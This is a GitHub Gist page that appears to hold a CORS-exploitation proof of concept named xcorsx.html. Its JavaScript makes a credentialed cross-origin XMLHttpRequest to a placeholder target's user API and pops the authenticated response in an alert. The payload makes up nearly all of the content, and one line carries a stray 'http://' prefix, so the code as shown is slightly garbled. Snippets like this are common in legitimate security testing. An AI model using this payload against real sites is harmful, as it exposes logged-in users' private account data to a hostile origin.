Created
November 30, 2023 10:18
-
-
Save scumdestroy/539899f9cfdb7e2f0793601619d12862 to your computer and use it in GitHub Desktop.
xcorsx.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange = function() { | |
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { | |
alert(xhr.responseText); | |
} | |
} | |
http://xhr.open('GET', 'http://targetapp/api/v1/user', true); | |
xhr.withCredentials = true; | |
xhr.send(null); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment